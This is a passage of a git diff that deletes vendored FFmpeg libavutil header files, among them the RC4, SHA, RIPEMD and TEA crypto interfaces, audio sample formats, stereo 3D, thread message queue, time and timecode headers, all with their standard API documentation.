*/ - -#endif /* AVUTIL_RATIONAL_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/rc4.h b/desktop_3230/FFmpeg/include/libavutil/rc4.h deleted file mode 100644 index 029cd2a..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/rc4.h +++ /dev/null @@ -1,66 +0,0 @@ -/* - * RC4 encryption/decryption/pseudo-random number generator - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_RC4_H -#define AVUTIL_RC4_H - -#include - -/** - * @defgroup lavu_rc4 RC4 - * @ingroup lavu_crypto - * @{ - */ - -typedef struct AVRC4 { - uint8_t state[256]; - int x, y; -} AVRC4; - -/** - * Allocate an AVRC4 context. - */ -AVRC4 *av_rc4_alloc(void); - -/** - * @brief Initializes an AVRC4 context. - * - * @param key_bits must be a multiple of 8 - * @param decrypt 0 for encryption, 1 for decryption, currently has no effect - * @return zero on success, negative value otherwise - */ -int av_rc4_init(struct AVRC4 *d, const uint8_t *key, int key_bits, int decrypt); - -/** - * @brief Encrypts / decrypts using the RC4 algorithm. - * - * @param count number of bytes - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst, may be NULL - * @param iv not (yet) used for RC4, should be NULL - * @param decrypt 0 for encryption, 1 for decryption, not (yet) used - */ -void av_rc4_crypt(struct AVRC4 *d, uint8_t *dst, const uint8_t *src, int count, uint8_t *iv, int decrypt); - -/** - * @} - */ - -#endif /* AVUTIL_RC4_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/replaygain.h b/desktop_3230/FFmpeg/include/libavutil/replaygain.h deleted file mode 100644 index 5c03e19..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/replaygain.h +++ /dev/null @@ -1,51 +0,0 @@ -/* - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_REPLAYGAIN_H -#define AVUTIL_REPLAYGAIN_H - -#include - -/** - * ReplayGain information (see - * http://wiki.hydrogenaudio.org/index.php?title=ReplayGain_1.0_specification). - * The size of this struct is a part of the public ABI. - */ -typedef struct AVReplayGain { - /** - * Track replay gain in microbels (divide by 100000 to get the value in dB). - * Should be set to INT32_MIN when unknown. - */ - int32_t track_gain; - /** - * Peak track amplitude, with 100000 representing full scale (but values - * may overflow). 0 when unknown. - */ - uint32_t track_peak; - /** - * Same as track_gain, but for the whole album. - */ - int32_t album_gain; - /** - * Same as track_peak, but for the whole album, - */ - uint32_t album_peak; -} AVReplayGain; - -#endif /* AVUTIL_REPLAYGAIN_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/ripemd.h b/desktop_3230/FFmpeg/include/libavutil/ripemd.h deleted file mode 100644 index 7b0c8bc..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/ripemd.h +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright (C) 2007 Michael Niedermayer - * Copyright (C) 2013 James Almer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_RIPEMD_H -#define AVUTIL_RIPEMD_H - -#include - -#include "attributes.h" -#include "version.h" - -/** - * @defgroup lavu_ripemd RIPEMD - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_ripemd_size; - -struct AVRIPEMD; - -/** - * Allocate an AVRIPEMD context. - */ -struct AVRIPEMD *av_ripemd_alloc(void); - -/** - * Initialize RIPEMD hashing. - * - * @param context pointer to the function context (of size av_ripemd_size) - * @param bits number of bits in digest (128, 160, 256 or 320 bits) - * @return zero if initialization succeeded, -1 otherwise - */ -int av_ripemd_init(struct AVRIPEMD* context, int bits); - -/** - * Update hash value. - * - * @param context hash function context - * @param data input data to update hash with - * @param len input data length - */ -void av_ripemd_update(struct AVRIPEMD* context, const uint8_t* data, unsigned int len); - -/** - * Finish hashing and output digest value. - * - * @param context hash function context - * @param digest buffer where output digest value is stored - */ -void av_ripemd_final(struct AVRIPEMD* context, uint8_t *digest); - -/** - * @} - */ - -#endif /* AVUTIL_RIPEMD_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/samplefmt.h b/desktop_3230/FFmpeg/include/libavutil/samplefmt.h deleted file mode 100644 index 6a8a031..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/samplefmt.h +++ /dev/null @@ -1,271 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_SAMPLEFMT_H -#define AVUTIL_SAMPLEFMT_H - -#include - -#include "avutil.h" -#include "attributes.h" - -/** - * @addtogroup lavu_audio - * @{ - * - * @defgroup lavu_sampfmts Audio sample formats - * - * Audio sample format enumeration and related convenience functions. - * @{ - * - */ - -/** - * Audio sample formats - * - * - The data described by the sample format is always in native-endian order. - * Sample values can be expressed by native C types, hence the lack of a signed - * 24-bit sample format even though it is a common raw audio data format. - * - * - The floating-point formats are based on full volume being in the range - * [-1.0, 1.0]. Any values outside this range are beyond full volume level. - * - * - The data layout as used in av_samples_fill_arrays() and elsewhere in FFmpeg - * (such as AVFrame in libavcodec) is as follows: - * - * @par - * For planar sample formats, each audio channel is in a separate data plane, - * and linesize is the buffer size, in bytes, for a single plane. All data - * planes must be the same size. For packed sample formats, only the first data - * plane is used, and samples for each channel are interleaved. In this case, - * linesize is the buffer size, in bytes, for the 1 plane. - * - */ -enum AVSampleFormat { - AV_SAMPLE_FMT_NONE = -1, - AV_SAMPLE_FMT_U8, ///< unsigned 8 bits - AV_SAMPLE_FMT_S16, ///< signed 16 bits - AV_SAMPLE_FMT_S32, ///< signed 32 bits - AV_SAMPLE_FMT_FLT, ///< float - AV_SAMPLE_FMT_DBL, ///< double - - AV_SAMPLE_FMT_U8P, ///< unsigned 8 bits, planar - AV_SAMPLE_FMT_S16P, ///< signed 16 bits, planar - AV_SAMPLE_FMT_S32P, ///< signed 32 bits, planar - AV_SAMPLE_FMT_FLTP, ///< float, planar - AV_SAMPLE_FMT_DBLP, ///< double, planar - - AV_SAMPLE_FMT_NB ///< Number of sample formats. DO NOT USE if linking dynamically -}; - -/** - * Return the name of sample_fmt, or NULL if sample_fmt is not - * recognized. - */ -const char *av_get_sample_fmt_name(enum AVSampleFormat sample_fmt); - -/** - * Return a sample format corresponding to name, or AV_SAMPLE_FMT_NONE - * on error. - */ -enum AVSampleFormat av_get_sample_fmt(const char *name); - -/** - * Return the planar<->packed alternative form of the given sample format, or - * AV_SAMPLE_FMT_NONE on error. If the passed sample_fmt is already in the - * requested planar/packed format, the format returned is the same as the - * input. - */ -enum AVSampleFormat av_get_alt_sample_fmt(enum AVSampleFormat sample_fmt, int planar); - -/** - * Get the packed alternative form of the given sample format. - * - * If the passed sample_fmt is already in packed format, the format returned is - * the same as the input. - * - * @return the packed alternative form of the given sample format or - AV_SAMPLE_FMT_NONE on error. - */ -enum AVSampleFormat av_get_packed_sample_fmt(enum AVSampleFormat sample_fmt); - -/** - * Get the planar alternative form of the given sample format. - * - * If the passed sample_fmt is already in planar format, the format returned is - * the same as the input. - * - * @return the planar alternative form of the given sample format or - AV_SAMPLE_FMT_NONE on error. - */ -enum AVSampleFormat av_get_planar_sample_fmt(enum AVSampleFormat sample_fmt); - -/** - * Generate a string corresponding to the sample format with - * sample_fmt, or a header if sample_fmt is negative. - * - * @param buf the buffer where to write the string - * @param buf_size the size of buf - * @param sample_fmt the number of the sample format to print the - * corresponding info string, or a negative value to print the - * corresponding header. - * @return the pointer to the filled buffer or NULL if sample_fmt is - * unknown or in case of other errors - */ -char *av_get_sample_fmt_string(char *buf, int buf_size, enum AVSampleFormat sample_fmt); - -/** - * Return number of bytes per sample. - * - * @param sample_fmt the sample format - * @return number of bytes per sample or zero if unknown for the given - * sample format - */ -int av_get_bytes_per_sample(enum AVSampleFormat sample_fmt); - -/** - * Check if the sample format is planar. - * - * @param sample_fmt the sample format to inspect - * @return 1 if the sample format is planar, 0 if it is interleaved - */ -int av_sample_fmt_is_planar(enum AVSampleFormat sample_fmt); - -/** - * Get the required buffer size for the given audio parameters. - * - * @param[out] linesize calculated linesize, may be NULL - * @param nb_channels the number of channels - * @param nb_samples the number of samples in a single channel - * @param sample_fmt the sample format - * @param align buffer size alignment (0 = default, 1 = no alignment) - * @return required buffer size, or negative error code on failure - */ -int av_samples_get_buffer_size(int *linesize, int nb_channels, int nb_samples, - enum AVSampleFormat sample_fmt, int align); - -/** - * @} - * - * @defgroup lavu_sampmanip Samples manipulation - * - * Functions that manipulate audio samples - * @{ - */ - -/** - * Fill plane data pointers and linesize for samples with sample - * format sample_fmt. - * - * The audio_data array is filled with the pointers to the samples data planes: - * for planar, set the start point of each channel's data within the buffer, - * for packed, set the start point of the entire buffer only. - * - * The value pointed to by linesize is set to the aligned size of each - * channel's data buffer for planar layout, or to the aligned size of the - * buffer for all channels for packed layout. - * - * The buffer in buf must be big enough to contain all the samples - * (use av_samples_get_buffer_size() to compute its minimum size), - * otherwise the audio_data pointers will point to invalid data. - * - * @see enum AVSampleFormat - * The documentation for AVSampleFormat describes the data layout. - * - * @param[out] audio_data array to be filled with the pointer for each channel - * @param[out] linesize calculated linesize, may be NULL - * @param buf the pointer to a buffer containing the samples - * @param nb_channels the number of channels - * @param nb_samples the number of samples in a single channel - * @param sample_fmt the sample format - * @param align buffer size alignment (0 = default, 1 = no alignment) - * @return >=0 on success or a negative error code on failure - * @todo return minimum size in bytes required for the buffer in case - * of success at the next bump - */ -int av_samples_fill_arrays(uint8_t **audio_data, int *linesize, - const uint8_t *buf, - int nb_channels, int nb_samples, - enum AVSampleFormat sample_fmt, int align); - -/** - * Allocate a samples buffer for nb_samples samples, and fill data pointers and - * linesize accordingly. - * The allocated samples buffer can be freed by using av_freep(&audio_data[0]) - * Allocated data will be initialized to silence. - * - * @see enum AVSampleFormat - * The documentation for AVSampleFormat describes the data layout. - * - * @param[out] audio_data array to be filled with the pointer for each channel - * @param[out] linesize aligned size for audio buffer(s), may be NULL - * @param nb_channels number of audio channels - * @param nb_samples number of samples per channel - * @param align buffer size alignment (0 = default, 1 = no alignment) - * @return >=0 on success or a negative error code on failure - * @todo return the size of the allocated buffer in case of success at the next bump - * @see av_samples_fill_arrays() - * @see av_samples_alloc_array_and_samples() - */ -int av_samples_alloc(uint8_t **audio_data, int *linesize, int nb_channels, - int nb_samples, enum AVSampleFormat sample_fmt, int align); - -/** - * Allocate a data pointers array, samples buffer for nb_samples - * samples, and fill data pointers and linesize accordingly. - * - * This is the same as av_samples_alloc(), but also allocates the data - * pointers array. - * - * @see av_samples_alloc() - */ -int av_samples_alloc_array_and_samples(uint8_t ***audio_data, int *linesize, int nb_channels, - int nb_samples, enum AVSampleFormat sample_fmt, int align); - -/** - * Copy samples from src to dst. - * - * @param dst destination array of pointers to data planes - * @param src source array of pointers to data planes - * @param dst_offset offset in samples at which the data will be written to dst - * @param src_offset offset in samples at which the data will be read from src - * @param nb_samples number of samples to be copied - * @param nb_channels number of audio channels - * @param sample_fmt audio sample format - */ -int av_samples_copy(uint8_t **dst, uint8_t * const *src, int dst_offset, - int src_offset, int nb_samples, int nb_channels, - enum AVSampleFormat sample_fmt); - -/** - * Fill an audio buffer with silence. - * - * @param audio_data array of pointers to data planes - * @param offset offset in samples at which to start filling - * @param nb_samples number of samples to fill - * @param nb_channels number of audio channels - * @param sample_fmt audio sample format - */ -int av_samples_set_silence(uint8_t **audio_data, int offset, int nb_samples, - int nb_channels, enum AVSampleFormat sample_fmt); - -/** - * @} - * @} - */ -#endif /* AVUTIL_SAMPLEFMT_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/sha.h b/desktop_3230/FFmpeg/include/libavutil/sha.h deleted file mode 100644 index bf4377e..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/sha.h +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright (C) 2007 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_SHA_H -#define AVUTIL_SHA_H - -#include - -#include "attributes.h" -#include "version.h" - -/** - * @defgroup lavu_sha SHA - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_sha_size; - -struct AVSHA; - -/** - * Allocate an AVSHA context. - */ -struct AVSHA *av_sha_alloc(void); - -/** - * Initialize SHA-1 or SHA-2 hashing. - * - * @param context pointer to the function context (of size av_sha_size) - * @param bits number of bits in digest (SHA-1 - 160 bits, SHA-2 224 or 256 bits) - * @return zero if initialization succeeded, -1 otherwise - */ -int av_sha_init(struct AVSHA* context, int bits); - -/** - * Update hash value. - * - * @param context hash function context - * @param data input data to update hash with - * @param len input data length - */ -void av_sha_update(struct AVSHA* context, const uint8_t* data, unsigned int len); - -/** - * Finish hashing and output digest value. - * - * @param context hash function context - * @param digest buffer where output digest value is stored - */ -void av_sha_final(struct AVSHA* context, uint8_t *digest); - -/** - * @} - */ - -#endif /* AVUTIL_SHA_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/sha512.h b/desktop_3230/FFmpeg/include/libavutil/sha512.h deleted file mode 100644 index 7b08701..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/sha512.h +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright (C) 2007 Michael Niedermayer - * Copyright (C) 2013 James Almer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_SHA512_H -#define AVUTIL_SHA512_H - -#include - -#include "attributes.h" -#include "version.h" - -/** - * @defgroup lavu_sha512 SHA512 - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_sha512_size; - -struct AVSHA512; - -/** - * Allocate an AVSHA512 context. - */ -struct AVSHA512 *av_sha512_alloc(void); - -/** - * Initialize SHA-2 512 hashing. - * - * @param context pointer to the function context (of size av_sha512_size) - * @param bits number of bits in digest (224, 256, 384 or 512 bits) - * @return zero if initialization succeeded, -1 otherwise - */ -int av_sha512_init(struct AVSHA512* context, int bits); - -/** - * Update hash value. - * - * @param context hash function context - * @param data input data to update hash with - * @param len input data length - */ -void av_sha512_update(struct AVSHA512* context, const uint8_t* data, unsigned int len); - -/** - * Finish hashing and output digest value. - * - * @param context hash function context - * @param digest buffer where output digest value is stored - */ -void av_sha512_final(struct AVSHA512* context, uint8_t *digest); - -/** - * @} - */ - -#endif /* AVUTIL_SHA512_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/stereo3d.h b/desktop_3230/FFmpeg/include/libavutil/stereo3d.h deleted file mode 100644 index 1135dc9..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/stereo3d.h +++ /dev/null @@ -1,152 +0,0 @@ -/* - * Copyright (c) 2013 Vittorio Giovara - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_STEREO3D_H -#define AVUTIL_STEREO3D_H - -#include - -#include "frame.h" - -/** - * List of possible 3D Types - */ -enum AVStereo3DType { - /** - * Video is not stereoscopic (and metadata has to be there). - */ - AV_STEREO3D_2D, - - /** - * Views are next to each other. - * - * LLLLRRRR - * LLLLRRRR - * LLLLRRRR - * ... - */ - AV_STEREO3D_SIDEBYSIDE, - - /** - * Views are on top of each other. - * - * LLLLLLLL - * LLLLLLLL - * RRRRRRRR - * RRRRRRRR - */ - AV_STEREO3D_TOPBOTTOM, - - /** - * Views are alternated temporally. - * - * frame0 frame1 frame2 ... - * LLLLLLLL RRRRRRRR LLLLLLLL - * LLLLLLLL RRRRRRRR LLLLLLLL - * LLLLLLLL RRRRRRRR LLLLLLLL - * ... ... ... - */ - AV_STEREO3D_FRAMESEQUENCE, - - /** - * Views are packed in a checkerboard-like structure per pixel. - * - * LRLRLRLR - * RLRLRLRL - * LRLRLRLR - * ... - */ - AV_STEREO3D_CHECKERBOARD, - - /** - * Views are next to each other, but when upscaling - * apply a checkerboard pattern. - * - * LLLLRRRR L L L L R R R R - * LLLLRRRR => L L L L R R R R - * LLLLRRRR L L L L R R R R - * LLLLRRRR L L L L R R R R - */ - AV_STEREO3D_SIDEBYSIDE_QUINCUNX, - - /** - * Views are packed per line, as if interlaced. - * - * LLLLLLLL - * RRRRRRRR - * LLLLLLLL - * ... - */ - AV_STEREO3D_LINES, - - /** - * Views are packed per column. - * - * LRLRLRLR - * LRLRLRLR - * LRLRLRLR - * ... - */ - AV_STEREO3D_COLUMNS, -}; - - -/** - * Inverted views, Right/Bottom represents the left view. - */ -#define AV_STEREO3D_FLAG_INVERT (1 << 0) - -/** - * Stereo 3D type: this structure describes how two videos are packed - * within a single video surface, with additional information as needed. - * - * @note The struct must be allocated with av_stereo3d_alloc() and - * its size is not a part of the public ABI. - */ -typedef struct AVStereo3D { - /** - * How views are packed within the video. - */ - enum AVStereo3DType type; - - /** - * Additional information about the frame packing. - */ - int flags; -} AVStereo3D; - -/** - * Allocate an AVStereo3D structure and set its fields to default values. - * The resulting struct can be freed using av_freep(). - * - * @return An AVStereo3D filled with default values or NULL on failure. - */ -AVStereo3D *av_stereo3d_alloc(void); - -/** - * Allocate a complete AVFrameSideData and add it to the frame. - * - * @param frame The frame which side data is added to. - * - * @return The AVStereo3D structure to be filled by caller. - */ -AVStereo3D *av_stereo3d_create_side_data(AVFrame *frame); - -#endif /* AVUTIL_STEREO3D_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/tea.h b/desktop_3230/FFmpeg/include/libavutil/tea.h deleted file mode 100644 index dd929bd..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/tea.h +++ /dev/null @@ -1,71 +0,0 @@ -/* - * A 32-bit implementation of the TEA algorithm - * Copyright (c) 2015 Vesselin Bontchev - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_TEA_H -#define AVUTIL_TEA_H - -#include - -/** - * @file - * @brief Public header for libavutil TEA algorithm - * @defgroup lavu_tea TEA - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_tea_size; - -struct AVTEA; - -/** - * Allocate an AVTEA context - * To free the struct: av_free(ptr) - */ -struct AVTEA *av_tea_alloc(void); - -/** - * Initialize an AVTEA context. - * - * @param ctx an AVTEA context - * @param key a key of 16 bytes used for encryption/decryption - * @param rounds the number of rounds in TEA (64 is the "standard") - */ -void av_tea_init(struct AVTEA *ctx, const uint8_t key[16], int rounds); - -/** - * Encrypt or decrypt a buffer using a previously initialized context. - * - * @param ctx an AVTEA context - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param count number of 8 byte blocks - * @param iv initialization vector for CBC mode, if NULL then ECB will be used - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_tea_crypt(struct AVTEA *ctx, uint8_t *dst, const uint8_t *src, - int count, uint8_t *iv, int decrypt); - -/** - * @} - */ - -#endif /* AVUTIL_TEA_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/threadmessage.h b/desktop_3230/FFmpeg/include/libavutil/threadmessage.h deleted file mode 100644 index e256cae..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/threadmessage.h +++ /dev/null @@ -1,107 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public License - * as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with FFmpeg; if not, write to the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_THREADMESSAGE_H -#define AVUTIL_THREADMESSAGE_H - -typedef struct AVThreadMessageQueue AVThreadMessageQueue; - -typedef enum AVThreadMessageFlags { - - /** - * Perform non-blocking operation. - * If this flag is set, send and recv operations are non-blocking and - * return AVERROR(EAGAIN) immediately if they can not proceed. - */ - AV_THREAD_MESSAGE_NONBLOCK = 1, - -} AVThreadMessageFlags; - -/** - * Allocate a new message queue. - * - * @param mq pointer to the message queue - * @param nelem maximum number of elements in the queue - * @param elsize size of each element in the queue - * @return >=0 for success; <0 for error, in particular AVERROR(ENOSYS) if - * lavu was built without thread support - */ -int av_thread_message_queue_alloc(AVThreadMessageQueue **mq, - unsigned nelem, - unsigned elsize); - -/** - * Free a message queue. - * - * The message queue must no longer be in use by another thread. - */ -void av_thread_message_queue_free(AVThreadMessageQueue **mq); - -/** - * Send a message on the queue. - */ -int av_thread_message_queue_send(AVThreadMessageQueue *mq, - void *msg, - unsigned flags); - -/** - * Receive a message from the queue. - */ -int av_thread_message_queue_recv(AVThreadMessageQueue *mq, - void *msg, - unsigned flags); - -/** - * Set the sending error code. - * - * If the error code is set to non-zero, av_thread_message_queue_recv() will - * return it immediately when there are no longer available messages. - * Conventional values, such as AVERROR_EOF or AVERROR(EAGAIN), can be used - * to cause the receiving thread to stop or suspend its operation. - */ -void av_thread_message_queue_set_err_send(AVThreadMessageQueue *mq, - int err); - -/** - * Set the receiving error code. - * - * If the error code is set to non-zero, av_thread_message_queue_send() will - * return it immediately. Conventional values, such as AVERROR_EOF or - * AVERROR(EAGAIN), can be used to cause the sending thread to stop or - * suspend its operation. - */ -void av_thread_message_queue_set_err_recv(AVThreadMessageQueue *mq, - int err); - -/** - * Set the optional free message callback function which will be called if an - * operation is removing messages from the queue. - */ -void av_thread_message_queue_set_free_func(AVThreadMessageQueue *mq, - void (*free_func)(void *msg)); - -/** - * Flush the message queue - * - * This function is mostly equivalent to reading and free-ing every message - * except that it will be done in a single operation (no lock/unlock between - * reads). - */ -void av_thread_message_flush(AVThreadMessageQueue *mq); - -#endif /* AVUTIL_THREADMESSAGE_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/time.h b/desktop_3230/FFmpeg/include/libavutil/time.h deleted file mode 100644 index dc169b0..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/time.h +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright (c) 2000-2003 Fabrice Bellard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_TIME_H -#define AVUTIL_TIME_H - -#include - -/** - * Get the current time in microseconds. - */ -int64_t av_gettime(void); - -/** - * Get the current time in microseconds since some unspecified starting point. - * On platforms that support it, the time comes from a monotonic clock - * This property makes this time source ideal for measuring relative time. - * The returned values may not be monotonic on platforms where a monotonic - * clock is not available. - */ -int64_t av_gettime_relative(void); - -/** - * Indicates with a boolean result if the av_gettime_relative() time source - * is monotonic. - */ -int av_gettime_relative_is_monotonic(void); - -/** - * Sleep for a period of time. Although the duration is expressed in - * microseconds, the actual delay may be rounded to the precision of the - * system timer. - * - * @param usec Number of microseconds to sleep. - * @return zero on success or (negative) error code. - */ -int av_usleep(unsigned usec); - -#endif /* AVUTIL_TIME_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/timecode.h b/desktop_3230/FFmpeg/include/libavutil/timecode.h deleted file mode 100644 index 56e3975..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/timecode.h +++ /dev/null @@ -1,140 +0,0 @@ -/* - * Copyright (c) 2006 Smartjog S.A.S, Baptiste Coudurier - * Copyright (c) 2011-2012 Smartjog S.A.S, Clément Bœsch - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * Timecode helpers header - */ - -#ifndef AVUTIL_TIMECODE_H -#define AVUTIL_TIMECODE_H - -#include -#include "rational.h" - -#define AV_TIMECODE_STR_SIZE 16 - -enum AVTimecodeFlag { - AV_TIMECODE_FLAG_DROPFRAME = 1<<0, ///< timecode is drop frame - AV_TIMECODE_FLAG_24HOURSMAX = 1<<1, ///< timecode wraps after 24 hours - AV_TIMECODE_FLAG_ALLOWNEGATIVE = 1<<2, ///< negative time values are allowed -}; - -typedef struct { - int start; ///< timecode frame start (first base frame number) - uint32_t flags; ///< flags such as drop frame, +24 hours support, ... - AVRational rate; ///< frame rate in rational form - unsigned fps; ///< frame per second; must be consistent with the rate field -} AVTimecode; - -/** - * Adjust frame number for NTSC drop frame time code. - * - * @param framenum frame number to adjust - * @param fps frame per second, 30 or 60 - * @return adjusted frame number - * @warning adjustment is only valid in NTSC 29.97 and 59.94 - */ -int av_timecode_adjust_ntsc_framenum2(int framenum, int fps); - -/** - * Convert frame number to SMPTE 12M binary representation. - * - * @param tc timecode data correctly initialized - * @param framenum frame number - * @return the SMPTE binary representation - * - * @note Frame number adjustment is automatically done in case of drop timecode, - * you do NOT have to call 